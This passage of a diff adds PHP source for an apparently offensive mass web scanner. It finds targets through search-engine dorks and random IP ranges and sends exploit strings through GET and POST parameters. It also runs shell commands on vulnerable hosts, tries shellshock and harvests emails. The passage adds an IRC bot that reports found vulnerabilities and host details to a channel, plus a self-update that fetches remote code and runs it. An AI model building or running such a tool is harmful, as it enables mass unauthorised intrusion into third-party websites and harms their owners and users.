"//t.co,google.,youtube.,jsuol.com,.radio.uol.,b.uol.,barra.uol.,whowhere.,hotbot.,amesville.,lycos,lygo.,orkut.,schema.,blogger.,bing.,w3.,yahoo.,yimg.,creativecommons.org,ndj6p3asftxboa7j.,.torproject.org,.lygo.com,.apache.org,.hostname.,document.,"; +$_SESSION['config']['blacklist'].= "live.,microsoft.,ask.,shifen.com,answers.,analytics.,googleadservices.,sapo.pt,favicon.,blogspot.,wordpress.,.css,scripts.js,jquery-1.,dmoz.,gigablast.,aol.,.macromedia.com,.sitepoint.,yandex.,www.tor2web.org,.securityfocus.com,.Bootstrap.,.metasploit.com,"; +$_SESSION['config']['blacklist'].= "aolcdn.,altavista.,clusty.,teoma.,baiducontent.com,wisenut.,a9.,uolhost.,w3schools.,msn.,baidu.,hao123.,shifen.,procog.,facebook.,twitter.,flickr.,.adobe.com,oficinadanet.,elephantjmjqepsw.,.shodan.io,kbhpodhnfxl3clb4,.scanalert.com,.prototype.,feedback.core,"; +$_SESSION['config']['blacklist'].= "4shared.,.KeyCodeTab,.style.,www/cache/i1,.className.,=n.,a.Ke=,Y.config,.goodsearch.com,style.top,n.Img,n.canvas.,t.search,Y.Search.,a.href,a.currentStyle,a.style,yastatic.,.oth.net,.hotbot.com,.zhongsou.com,ezilon.com,.example.com,location.href,.navigation.,"; +$_SESSION['config']['blacklist'].= ".bingj.com,Y.Mobile.,srpcache?p,stackoverflow.,shifen.,baidu.,baiducontent.,gstatic.,php.net,wikipedia.,webcache.,inurl.,naver.,navercorp.,windows.,window.,.devmedia,imasters.,.inspcloud.com,.lycos.com,.scorecardresearch.com,.target.,JQuery.min,Element.location.,"; +$_SESSION['config']['blacklist'].= "exploit-db,packetstormsecurity.,1337day,owasp,.sun.com,mobile10.dtd,onabort=function,inurl.com.br,purl.org,.dartsearch.net,r.cb,.classList.,.pt_BR.,github,microsofttranslator.com,.compete.com,.sogou.com,gmail.,blackle.com,boorow.com,gravatar.com,sourceforge.,.mozilla.org"; + +$_SESSION['config']['line'] = "\n{$_SESSION["c1"]} _[ - ]{$_SESSION["c7"]}::{$_SESSION["c1"]}--------------------------------------------------------------------------------------------------------------{$_SESSION["c0"]}"; + +#[+]PRINTING HELP / INFO +(isset($opcoes['h']) || isset($opcoes['help']) || isset($opcoes['ajuda']) ? __menu() : NULL); +(isset($opcoes['info']) ? __info() : NULL); + +#[+]PRINTING EXPLOITS LIST. +(isset($opcoes['exploit-list']) ? print(__bannerLogo()) . __configExploitsList(1) : NULL); + +#[+]CREATING DEFAULT SETTINGS EXIT RESULTS. +(!is_dir($_SESSION['config']['out_put_paste']) ? mkdir($_SESSION['config']['out_put_paste'], 0777, TRUE) : NULL); + +#[+]CREATING DEFAULT SETTINGS MANAGEMENT EXPLOITS. +(!file_exists($_SESSION['config']['file_exploit_conf']) ? touch($_SESSION['config']['file_exploit_conf']) : NULL); + +#[+]Deletes FILE cookie STANDARD. +(file_exists('cookie.txt') ? unlink('cookie.txt') : NULL); + +#[+]REGISTRATION NEW COMMAND EXPLOIT +(not_isnull_empty($opcoes['exploit-cad']) ? __configExploitsADD($opcoes['exploit-cad']) : NULL); + +#[+]Dependencies installation +(isset($opcoes['install-dependence']) ? __installDepencia() : NULL); + +#[+]UPDATE SCRIPT +(isset($opcoes['update']) ? __update() : NULL); + +################################################################################ +#CAPTURE OPTIONS################################################################ +################################################################################ +#[+]VALIDATION SEARCH METHODS / (DORK,RANGE-IP) +if (not_isnull_empty($opcoes['o'])) { + + $_SESSION['config']['abrir-arquivo'] = $opcoes['o']; +} else if (!not_isnull_empty($opcoes['o']) && + !not_isnull_empty($opcoes['range']) && + !not_isnull_empty($opcoes['range-rand']) && + !not_isnull_empty($opcoes['dork-rand'])) { + + $_SESSION['config']['dork'] = not_isnull_empty($opcoes['dork']) && is_null($_SESSION['config']['abrir-arquivo']) ? $opcoes['dork'] : NULL; + $_SESSION['config']['dork-file'] = not_isnull_empty($opcoes['dork-file']) && is_null($_SESSION['config']['abrir-arquivo']) ? $opcoes['dork-file'] : NULL; + (!not_isnull_empty($_SESSION['config']['dork']) && !not_isnull_empty($_SESSION['config']['dork-file']) ? __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}DEFINE DORK ex: --dork '.asp?CategoryID=' OR --dork-file 'dorks.txt'{$_SESSION["c0"]}\n") : NULL); +} + +#[+]VALIDATION GENERATE DORKS RANDOM +$_SESSION['config']['dork-rand'] = not_isnull_empty($opcoes['dork-rand']) ? $opcoes['dork-rand'] : NULL; + +#[+]VALIDATION TARGET FIND PAGE +$_SESSION['config']['target'] = not_isnull_empty($opcoes['target']) && !isset($_SESSION['config']['dork']) ? $opcoes['target'] : NULL; + +#[+]VALIDATION URL EXTRACTION +$_SESSION['config']['extrai-url'] = isset($opcoes['u']) ? TRUE : NULL; + +#[+]VALIDATION EMAIL EXTRACTION +$_SESSION['config']['extrai-email'] = isset($opcoes['m']) ? TRUE : NULL; + +#[+]VALIDATION ID SEARCH ENGINE +$_SESSION['config']['motor'] = not_isnull_empty($opcoes['q']) && + __validateOptions('1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,e1,e2,e3,e4,e5,e6,all', $opcoes['q']) ? $opcoes['q'] : 1; + +#[+]VALIDATION SAVE FILE VULNERABLE +!not_isnull_empty($opcoes['s']) && !not_isnull_empty($opcoes['save-as']) && empty($opcoes['sall']) ? + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}DEFINE FILE SAVE OUTPUT ex: -s , --save-as , --sall filevull.txt{$_SESSION["c0"]}\n") : NULL; + +$_SESSION['config']['s'] = not_isnull_empty($opcoes['s']) ? $opcoes['s'] : null; + +$_SESSION['config']['save-as'] = not_isnull_empty($opcoes['save-as']) ? $opcoes['save-as'] : null; + +$_SESSION['config']['arquivo_output'] = not_isnull_empty($_SESSION['config']['s']) ? $_SESSION['config']['s'] : $opcoes['save-as']; + +#[+]VALIDATION SAVE FILE ALL VALORES +$_SESSION['config']['arquivo_output_all'] = not_isnull_empty($opcoes['sall']) ? $opcoes['sall'] : NULL; + +#[+]VALIDATION TYPE ERROR +$_SESSION['config']['tipoerro'] = not_isnull_empty($opcoes['t']) && __validateOptions('1,2,3,4,5', $opcoes['t']) ? $opcoes['t'] : 1; + +#[+]VALIDATION REPLACEMENT VALUES +$_SESSION['config']['replace'] = not_isnull_empty($opcoes['replace']) ? $opcoes['replace'] : NULL; + +#[+]VALIDATION SET PROXY +$_SESSION['config']['proxy'] = not_isnull_empty($opcoes['proxy']) ? $opcoes['proxy'] : NULL; + +#[+]VALIDATION SET FILE WITH LIST OF PROXY +$_SESSION['config']['proxy-file'] = not_isnull_empty($opcoes['proxy-file']) ? $opcoes['proxy-file'] : NULL; + +#[+]VALIDATION SET HTTP->PROXY +$_SESSION['config']['proxy-http'] = not_isnull_empty($opcoes['proxy-http']) ? $opcoes['proxy-http'] : NULL; + +#[+]VALIDATION SET FILE WITH LIST OF HTTP->PROXY +$_SESSION['config']['proxy-http-file'] = not_isnull_empty($opcoes['proxy-http-file']) ? $opcoes['proxy-http-file'] : NULL; + +#[+]VALIDATION SET EXPLOIT VIA REQUEST GET +$_SESSION['config']['exploit-get'] = not_isnull_empty($opcoes['exploit-get']) ? str_replace(' ', '%20', $opcoes['exploit-get']) : NULL; + +#[+]VALIDATION SET EXPLOIT VIA REQUEST POST +$_SESSION['config']['exploit-post'] = not_isnull_empty($opcoes['exploit-post']) ? __convertUrlQuery($opcoes['exploit-post']) : NULL; +$_SESSION['config']['exploit-post_str'] = not_isnull_empty($opcoes['exploit-post']) ? $opcoes['exploit-post'] : NULL; + +#[+]VALIDATION COMMAND SHELL STRING COMPLEMENTARY +$_SESSION['config']['exploit-command'] = not_isnull_empty($opcoes['exploit-command']) ? $opcoes['exploit-command'] : NULL; + +#[+]VALIDATION MANAGEMENT COMMANDS SHELL TARGET VULN ID +$_SESSION['config']['exploit-vul-id'] = not_isnull_empty($opcoes['exploit-vul-id']) ? $opcoes['exploit-vul-id'] : NULL; + +#[+]VALIDATION MANAGEMENT COMMANDS SHELL ALL TARGET ID +$_SESSION['config']['exploit-all-id'] = not_isnull_empty($opcoes['exploit-all-id']) ? $opcoes['exploit-all-id'] : NULL; + +#[+]VALIDATION SET COMMANDS SHELL EXECUTE TARGET VULN +$_SESSION['config']['command-vul'] = not_isnull_empty($opcoes['command-vul']) ? $opcoes['command-vul'] : NULL; + +#[+]VALIDATION SET COMMANDS SHELL EXECUTE ALL TARGET +$_SESSION['config']['command-all'] = not_isnull_empty($opcoes['command-all']) ? $opcoes['command-all'] : NULL; + +#[+]VALIDATION ADDITIONAL TYPE OF PARAMETER ERROR +$_SESSION['config']['achar'] = not_isnull_empty($opcoes['a']) ? $opcoes['a'] : NULL; + +#[+]VALIDATION DEBUG NIVEL +$_SESSION['config']['debug'] = not_isnull_empty($opcoes['d']) && __validateOptions('1,2,3,4,5,6', $opcoes['d']) ? $opcoes['d'] : NULL; + +#[+]VALIDATION INTERNAL +$_SESSION['config']['verifica_info'] = (__validateOptions($opcoes['d'], 6)) ? 1 : NULL; + +#[+]VALIDATION ADDITIONAL PARAMETER PROXY +$_SESSION['config']['tor-random'] = isset($opcoes['tor-random']) && !is_null($_SESSION["config"]["proxy"]) ? TRUE : NULL; + +#[+]VALIDATION CHECK VALUES CMS +$_SESSION['config']['cms-check'] = isset($opcoes['cms-check']) ? TRUE : NULL; + +#[+]VALIDATION CHECK LINKS WEBCACHE GOOGLE +$_SESSION['config']['webcache'] = isset($opcoes['gc']) ? TRUE : NULL; + +#[+]VALIDATION REGULAR EXPRESSION +$_SESSION['config']['regexp'] = not_isnull_empty($opcoes['regexp']) ? $opcoes['regexp'] : NULL; + +#[+]VALIDATION FILTER BY REGULAR EXPRESSION +$_SESSION['config']['regexp-filter'] = not_isnull_empty($opcoes['regexp-filter']) ? $opcoes['regexp-filter'] : NULL; + +#[+]VALIDATION NO BANNER SCRIPT +$_SESSION['config']['no-banner'] = isset($opcoes['no-banner']) ? TRUE : NULL; + +#[+]VALIDATION SET USER-AGENT REQUEST +$_SESSION['config']['user-agent'] = not_isnull_empty($opcoes['user-agent']) ? $opcoes['user-agent'] : NULL; + +#[+]VALIDATION SET URL-REFERENCE REQUEST +$_SESSION['config']['url-reference'] = not_isnull_empty($opcoes['url-reference']) ? $opcoes['url-reference'] : NULL; + +#[+]VALIDATION PAGING THE MAXIMUM SEARCH ENGINE +$_SESSION['config']['max_pag'] = not_isnull_empty($opcoes['mp']) ? $opcoes['mp'] : NULL; + +#[+]VALIDATION DELAY SET PAGING AND PROCESSES +$_SESSION['config']['delay'] = not_isnull_empty($opcoes['delay']) ? $opcoes['delay'] : NULL; + +#[+]VALIDATION SET TIME OUT REQUEST +$_SESSION['config']['time-out'] = not_isnull_empty($opcoes['time-out']) ? $opcoes['time-out'] : NULL; + +#[+]VALIDATION CODE HTTP +$_SESSION['config']['ifcode'] = not_isnull_empty($opcoes['ifcode']) ? $opcoes['ifcode'] : NULL; + +#[+]VALIDATION STRING URL +$_SESSION['config']['ifurl'] = not_isnull_empty($opcoes['ifurl']) ? $opcoes['ifurl'] : NULL; + +#[+]VALIDATION SET HTTP HEADER +$_SESSION['config']['http-header'] = not_isnull_empty($opcoes['http-header']) ? $opcoes['http-header'] : NULL; + +#[+]VALIDATION SET FILE SUB_PROCESS +$_SESSION['config']['sub-file'] = not_isnull_empty($opcoes['sub-file']) ? __openFile($opcoes['sub-file'], 1) : NULL; + +#[+]VALIDATION SUB_PROCESS TYPE REQUEST POST +$_SESSION['config']['sub-post'] = isset($opcoes['sub-post']) ? TRUE : NULL; + +#[+]VALIDATION SUB_PROCESS TYPE REQUEST GET +$_SESSION['config']['sub-get'] = isset($opcoes['sub-get']) ? TRUE : NULL; + +#[+]VALIDATION SEND VULN EMAIL +$_SESSION['config']['sendmail'] = not_isnull_empty($opcoes['sendmail']) ? $opcoes['sendmail'] : NULL; + +#[+]VALIDATION SHOW RANK ALEXA +$_SESSION['config']['alexa-rank'] = isset($opcoes['alexa-rank']) ? TRUE : NULL; + +#[+]VALIDATION ACTIVATE BEEP WHEN APPEAR VULNERABLE +$_SESSION['config']['beep'] = isset($opcoes['beep']) ? TRUE : NULL; + +#[+]VALIDATION OF SINGLE DOMAIN FILTER +$_SESSION['config']['unique'] = isset($opcoes['unique']) ? TRUE : NULL; + +#[+]VALIDATION IRC SERVER/CHANNEL SEND VULN +$_SESSION['config']['irc']['conf'] = not_isnull_empty($opcoes['irc']) && strstr($opcoes['irc'], '#') ? explode("#", $opcoes['irc']) : NULL; + +#[+]VALIDATION RANGE IP +$_SESSION['config']['range'] = not_isnull_empty($opcoes['range']) && strstr($opcoes['range'], ',') ? $opcoes['range'] : NULL; + +#[+]VALIDATION QUANTITY RANGE IP RANDOM +$_SESSION['config']['range-rand'] = not_isnull_empty($opcoes['range-rand']) ? $opcoes['range-rand'] : NULL; + +#[+]VALIDATION REMOVE STRING URL +$_SESSION['config']['remove'] = not_isnull_empty($opcoes['remove']) ? $opcoes['remove'] : NULL; + +#[+]VALIDATION ACCESS FILE ROBOTS +$_SESSION['config']['robots'] = isset($opcoes['robots']) ? TRUE : NULL; + +#[+]VALIDATION FILTER EMAIL STRING +$_SESSION['config']['ifemail'] = not_isnull_empty($opcoes['ifemail']) ? $opcoes['ifemail'] : NULL; + +#[+]VALIDATION OPEN WINDOW CONSOLE PROCESS +$_SESSION['config']['popup'] = isset($opcoes['popup']) ? TRUE : NULL; + +#[+]VALIDATION ACTIVATE SHELLSHOCK +$_SESSION['config']['shellshock'] = isset($opcoes['shellshock']) ? TRUE : NULL; + +#[+]VALIDATION METHOD OF BUSTA PROGRESSIVE +$_SESSION['config']['pr'] = isset($opcoes['pr']) ? TRUE : NULL; + +#[+]VALIDATION SET SUB-COMMANDS SHELL EXECUTE ALL TARGET +$_SESSION['config']['sub-cmd-all'] = isset($opcoes['sub-cmd-all']) ? TRUE : NULL; + +#[+]VALIDATION SET SUB-COMMANDS SHELL EXECUTE TARGET VULN +$_SESSION['config']['sub-cmd-vul'] = isset($opcoes['sub-cmd-vul']) ? TRUE : NULL; + +#[+]VALIDATION SET POR VALIDATION +$_SESSION['config']['port-cmd'] = not_isnull_empty($opcoes['port-cmd']) ? $opcoes['port-cmd'] : NULL; + +#[+]VALIDATION SET SCAN PORT +$_SESSION['config']['port-scan'] = not_isnull_empty($opcoes['port-scan']) ? $opcoes['port-scan'] : NULL; + +#[+]VALIDATION SET PAYLOAD XPL PORT +$_SESSION['config']['port-write'] = not_isnull_empty($opcoes['port-write']) ? $opcoes['port-write'] : NULL; + +#[+]VALIDATION SET URL REDIRECT HEADER +$_SESSION['config']['ifredirect'] = not_isnull_empty($opcoes['ifredirect']) ? $opcoes['ifredirect'] : NULL; + +#[+]VALIDATION SET URL REDIRECT HEADER +$_SESSION['config']['persist'] = not_isnull_empty($opcoes['persist']) ? $opcoes['persist'] : 4; + +#[+]VALIDATION SET FILE COOKIE +$_SESSION['config']['file-cookie'] = not_isnull_empty($opcoes['file-cookie']) ? $opcoes['file-cookie'] : NULL; + +#[+]VALIDATION SET STRING CONCAT URL SUB-PROCESS +$_SESSION['config']['sub-concat'] = not_isnull_empty($opcoes['sub-concat']) ? $opcoes['sub-concat'] : NULL; + +################################################################################ +#IRC CONFIGURATION############################################################## +################################################################################ + +if (is_array($_SESSION['config']['irc']['conf'])) { + + $alph = range("A", "Z"); + $_ = array(0 => rand(0, 10000), 1 => $alph[rand(0, count($alph))]); + $_SESSION['config']['irc']['my_pid'] = 0; + $_SESSION['config']['irc']['irc_server'] = $_SESSION['config']['irc']['conf'][0]; + $_SESSION['config']['irc']['irc_channel'] = "#{$_SESSION['config']['irc']['conf'][1]}"; + $_SESSION['config']['irc']['irc_port'] = 6667; + $_SESSION['config']['irc']['localhost'] = "127.0.0.1 localhost"; + $_SESSION['config']['irc']['irc_nick'] = "[BOT]1nurl{$_[0]}[{$_[1]}]"; + $_SESSION['config']['irc']['irc_realname'] = "B0t_1NURLBR"; + $_SESSION['config']['irc']['irc_quiet'] = "Session Ended"; + global $conf; +} elseif (!is_array($_SESSION['config']['irc']['conf']) && not_isnull_empty($opcoes['irc'])) { + + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}IRC WRONG FORMAT! ex: --irc 'irc.rizon.net#inurlbrasil' {$_SESSION["c0"]}\n"); +} + +################################################################################ +#IRC CONECTION################################################################## +################################################################################ + +function __ircConect($conf) { + + $fp = fsockopen($conf['irc_server'], $conf['irc_port'], $conf['errno'], $conf['errstr'], 30); + if (!$fp) { + + echo "Error: {$conf['errstr']}({$conf['errno']})\n"; + return NULL; + } + $u = php_uname(); + fwrite($fp, "NICK {$conf['irc_nick']}\r\n"); + fwrite($fp, "USER {$conf['irc_nick']} 8 * :{$conf['irc_realname']}\r\n"); + fwrite($fp, "JOIN {$conf['irc_channel']}\r\n"); + fwrite($fp, "PRIVMSG {$conf['irc_channel']} :[ SERVER ] {$u}\r\n"); + return $fp; +} + +################################################################################ +#IRC SEND MSG################################################################### +################################################################################ + +function __ircMsg($conf, $msg) { + + fwrite($conf['irc_connection'], "PRIVMSG ${conf['irc_channel']} :${msg}\r\n") . sleep(2); + __plus(); +} + +################################################################################ +#IRC PING PONG################################################################## +################################################################################ + +function __ircPong($conf) { + + while (!feof($conf['irc_connection'])) { + + $conf['READ_BUFFER'] = fgets($conf['irc_connection']); + __plus(); + if (preg_match("/^PING(.+)/", $conf['READ_BUFFER'], $conf['ret'])) { + + __debug(array('debug' => "[ PING-PONG ]{$conf['ret'][1]}", 'function' => '__ircPong'), 6) . __plus(); + fwrite($conf['READ_BUFFER'], "PONG {$conf['ret'][1]}\r\n"); + ($_SESSION['config']['debug'] == 6) ? + fwrite($conf['irc_connection'], "PRIVMSG ${conf['irc_channel']} :[ PING-PONG ]-> {$conf['ret'][1]}->function:__ircPong\r\n") : NULL; + } + } +} + +################################################################################ +#IRC QUIT####################################################################### +################################################################################ + +function __ircQuit($conf) { + + fwrite($conf['irc_connection'], "QUIT {$conf['irc_quiet']}\r\n") . sleep(2); + __plus(); + fclose($conf['irc_connection']); +} + +#END IRC######################################################################## +#UPDATE SCRIPT################################################################## +################################################################################ + +function __update() { + + echo __bannerLogo(); + + echo "{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}WANT TO MAKE UPDATE SCRIPT\n{$_SESSION["c0"]}"; + echo "{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}This can modify the current script\n{$_SESSION["c0"]}"; + echo "{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}ARE YOU SURE ? (y \ n): {$_SESSION["c0"]}"; + + if (trim(fgets(STDIN)) == 'y') { + + $resultado = __request_info("https://raw.githubusercontent.com/googleinurl/SCANNER-INURLBR/master/inurlbr.php", $_SESSION["config"]["proxy"], NULL); + + if (not_isnull_empty($resultado['corpo'])) { + + unlink('inurlbr.php'); + $varf = fopen('inurlbr.php', 'a'); + fwrite($varf, $resultado['corpo']); + fclose($varf); + chmod('inurlbr.php', 0777); + echo "\nUPDATE DONE WITH SUCCESS!\n"; + sleep(3); + system("chmod +x inurlbr.php | php inurlbr.php"); + exit(); + } else { + + echo system("command clear") . __bannerLogo(); + echo "{$_SESSION["c1"]}__[ x ] {$_SESSION["c16"]}FAILURE TO SERVER!\n{$_SESSION["c0"]}"; + } + } +} + +################################################################################ +#SECURITIES VALIDATION DOUBLE##################################################### +################################################################################ + +function not_isnull_empty($valor = NULL) { + + RETURN !is_null($valor) && !empty($valor) ? TRUE : FALSE; +} + +################################################################################ +#MENU########################################################################### +################################################################################ + +function __menu() { + + return system("command clear") . __getOut(__extra() . " + {$_SESSION["c1"]}_ _ ______ _ _____ +| | | | ____| | | __ \ +| |__| | |__ | | | |__) | +| __ | __| | | | ___/ +| | | | |____| |____| | +|_| |_|______|______|_| + +{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current PHP version=>[ {$_SESSION["c1"]}" . phpversion() . "{$_SESSION["c0"]} ] +{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current script owner=>[ {$_SESSION["c1"]}" . get_current_user() . "{$_SESSION["c0"]} ] +{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current uname=>[ {$_SESSION["c1"]}" . php_uname() . "{$_SESSION["c0"]} ] +{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current pwd =>[ {$_SESSION["c1"]}" . getcwd() . "{$_SESSION["c0"]} ] +" . $_SESSION['config']['line'] . " + +{$_SESSION["c1"]}-h{$_SESSION["c0"]} +{$_SESSION["c1"]}--help{$_SESSION["c0"]} Alternative long length help command. +{$_SESSION["c1"]}--ajuda{$_SESSION["c0"]} Command to specify Help. +{$_SESSION["c1"]}--info{$_SESSION["c0"]} Information script. +{$_SESSION["c1"]}--update{$_SESSION["c0"]} Code update. +{$_SESSION["c1"]}-q{$_SESSION["c0"]} Choose which search engine you want through [{$_SESSION["c2"]}1...24{$_SESSION["c0"]}] / [{$_SESSION["c2"]}e1..6{$_SESSION["c0"]}]]: + [options]: + {$_SESSION["c1"]}1{$_SESSION["c0"]} - {$_SESSION["c2"]}GOOGLE / (CSE) GENERIC RANDOM / API + {$_SESSION["c1"]}2{$_SESSION["c0"]} - {$_SESSION["c2"]}BING + {$_SESSION["c1"]}3{$_SESSION["c0"]} - {$_SESSION["c2"]}YAHOO BR + {$_SESSION["c1"]}4{$_SESSION["c0"]} - {$_SESSION["c2"]}ASK + {$_SESSION["c1"]}5{$_SESSION["c0"]} - {$_SESSION["c2"]}HAO123 BR + {$_SESSION["c1"]}6{$_SESSION["c0"]} - {$_SESSION["c2"]}GOOGLE (API) + {$_SESSION["c1"]}7{$_SESSION["c0"]} - {$_SESSION["c2"]}LYCOS + {$_SESSION["c1"]}8{$_SESSION["c0"]} - {$_SESSION["c2"]}UOL BR + {$_SESSION["c1"]}9{$_SESSION["c0"]} - {$_SESSION["c2"]}YAHOO US + {$_SESSION["c1"]}10{$_SESSION["c0"]} - {$_SESSION["c2"]}SAPO + {$_SESSION["c1"]}11{$_SESSION["c0"]} - {$_SESSION["c2"]}DMOZ + {$_SESSION["c1"]}12{$_SESSION["c0"]} - {$_SESSION["c2"]}GIGABLAST + {$_SESSION["c1"]}13{$_SESSION["c0"]} - {$_SESSION["c2"]}NEVER + {$_SESSION["c1"]}14{$_SESSION["c0"]} - {$_SESSION["c2"]}BAIDU BR + {$_SESSION["c1"]}15{$_SESSION["c0"]} - {$_SESSION["c2"]}YANDEX + {$_SESSION["c1"]}16{$_SESSION["c0"]} - {$_SESSION["c2"]}ZOO + {$_SESSION["c1"]}17{$_SESSION["c0"]} - {$_SESSION["c2"]}HOTBOT + {$_SESSION["c1"]}18{$_SESSION["c0"]} - {$_SESSION["c2"]}ZHONGSOU + {$_SESSION["c1"]}19{$_SESSION["c0"]} - {$_SESSION["c2"]}HKSEARCH + {$_SESSION["c1"]}20{$_SESSION["c0"]} - {$_SESSION["c2"]}EZILION + {$_SESSION["c1"]}21{$_SESSION["c0"]} - {$_SESSION["c2"]}SOGOU + {$_SESSION["c1"]}22{$_SESSION["c0"]} - {$_SESSION["c2"]}DUCK DUCK GO + {$_SESSION["c1"]}23{$_SESSION["c0"]} - {$_SESSION["c2"]}BOOROW + {$_SESSION["c1"]}24{$_SESSION["c0"]} - {$_SESSION["c2"]}GOOGLE(CSE) GENERIC RANDOM + ---------------------------------------- + SPECIAL MOTORS + ---------------------------------------- + {$_SESSION["c1"]}e1{$_SESSION["c0"]} - {$_SESSION["c2"]}TOR FIND + {$_SESSION["c1"]}e2{$_SESSION["c0"]} - {$_SESSION["c2"]}ELEPHANT + {$_SESSION["c1"]}e3{$_SESSION["c0"]} - {$_SESSION["c2"]}TORSEARCH + {$_SESSION["c1"]}e4{$_SESSION["c0"]} - {$_SESSION["c2"]}WIKILEAKS + {$_SESSION["c1"]}e5{$_SESSION["c0"]} - {$_SESSION["c2"]}OTN + {$_SESSION["c1"]}e6{$_SESSION["c0"]} - {$_SESSION["c2"]}EXPLOITS SHODAN + ---------------------------------------- + {$_SESSION["c1"]}all{$_SESSION["c0"]} - {$_SESSION["c2"]}All search engines / not special motors{$_SESSION["c0"]} + Default: {$_SESSION["c1"]}1{$_SESSION["c0"]} + Example: {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}{op}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}1{$_SESSION["c0"]} + {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}5{$_SESSION["c0"]} + Using more than one engine: {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}1,2,5,6,11,24{$_SESSION["c0"]} + Using all engines: {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}all{$_SESSION["c0"]} + + {$_SESSION["c1"]}--proxy{$_SESSION["c0"]} Choose which proxy you want to use through the search engine: + Example: {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}{proxy:port}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}localhost:8118{$_SESSION["c0"]} + {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}socks5://googleinurl@localhost:9050{$_SESSION["c0"]} + {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}http://admin:12334@172.16.0.90:8080{$_SESSION["c0"]} + + {$_SESSION["c1"]}--proxy-file{$_SESSION["c0"]} Set font file to randomize your proxy to each search engine. + Example: {$_SESSION["c1"]}--proxy-file {$_SESSION["c2"]}{proxys}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--proxy-file {$_SESSION["c2"]}proxys_list.txt{$_SESSION["c0"]} + + {$_SESSION["c1"]}--time-proxy{$_SESSION["c0"]} Set the time how often the proxy will be exchanged. + Example: {$_SESSION["c1"]}--time-proxy {$_SESSION["c2"]}{second}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--time-proxy {$_SESSION["c2"]}10{$_SESSION["c0"]} + + {$_SESSION["c1"]}--proxy-http-file{$_SESSION["c0"]} Set file with urls http proxy, + are used to bular capch search engines + Example: {$_SESSION["c1"]}--proxy-http-file {$_SESSION["c2"]}{youfilehttp}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--proxy-http-file {$_SESSION["c2"]}http_proxys.txt{$_SESSION["c0"]} + + + {$_SESSION["c1"]}--tor-random{$_SESSION["c0"]} Enables the TOR function, each usage links an unique IP. + + {$_SESSION["c1"]}-t{$_SESSION["c0"]} Choose the validation type: op {$_SESSION["c2"]}1, 2, 3, 4, 5{$_SESSION["c0"]} + [options]: + {$_SESSION["c2"]}1{$_SESSION["c0"]} - The first type uses default errors considering the script: + It establishes connection with the exploit through the get method. + Demo: www.alvo.com.br/pasta/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} + + {$_SESSION["c2"]}2{$_SESSION["c0"]} - The second type tries to valid the error defined by: {$_SESSION["c1"]}-a={$_SESSION["c2"]}'VALUE_INSIDE_THE _TARGET'{$_SESSION["c0"]} + It also establishes connection with the exploit through the get method + Demo: www.alvo.com.br/pasta/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} + + {$_SESSION["c2"]}3{$_SESSION["c0"]} - The third type combine both first and second types: + Then, of course, it also establishes connection with the exploit through the get method + Demo: www.target.com.br{$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} + Default: {$_SESSION["c2"]}1{$_SESSION["c0"]} + Example: {$_SESSION["c1"]}-t {$_SESSION["c2"]}{op}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}-t {$_SESSION["c2"]}1{$_SESSION["c0"]} + + {$_SESSION["c2"]}4{$_SESSION["c0"]} - The fourth type a validation based on source file and will be enabled scanner standard functions. + The source file their values are concatenated with target url. + - Set your target with command {$_SESSION["c1"]}--target {$_SESSION["c2"]}{http://target}{$_SESSION["c0"]} + - Set your file with command {$_SESSION["c1"]}-o {$_SESSION["c2"]}{file}{$_SESSION["c0"]} + Explicative: + Source file values: + /admin/index.php?id= + /pag/index.php?id= + /brazil.php?new= + Demo: + www.target.com.br/admin/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} + www.target.com.br/pag/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} + www.target.com.br/brazil.php?new={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} + + {$_SESSION["c2"]}5{$_SESSION["c0"]} - (FIND PAGE) The fifth type of validation based on the source file, + Will be enabled only one validation code 200 on the target server, or if the url submit such code will be considered vulnerable. + - Set your target with command {$_SESSION["c1"]}--target {$_SESSION["c2"]}{http://target}{$_SESSION["c0"]} + - Set your file with command {$_SESSION["c1"]}-o {$_SESSION["c2"]}{file}{$_SESSION["c0"]} + Explicative: + Source file values: + /admin/admin.php + /admin.asp + /admin.aspx + Demo: + www.target.com.br/admin/admin.php + www.target.com.br/admin.asp + www.target.com.br/admin.aspx + Observation: If it shows the code 200 will be separated in the output file + + DEFAULT ERRORS: + {$_SESSION["c11"]} + [*]JAVA INFINITYDB, [*]LOCAL FILE INCLUSION, [*]ZIMBRA MAIL, [*]ZEND FRAMEWORK, + [*]ERROR MARIADB, [*]ERROR MYSQL, [*]ERROR JBOSSWEB, [*]ERROR MICROSOFT, + [*]ERROR ODBC, [*]ERROR POSTGRESQL, [*]ERROR JAVA INFINITYDB, [*]ERROR PHP, + 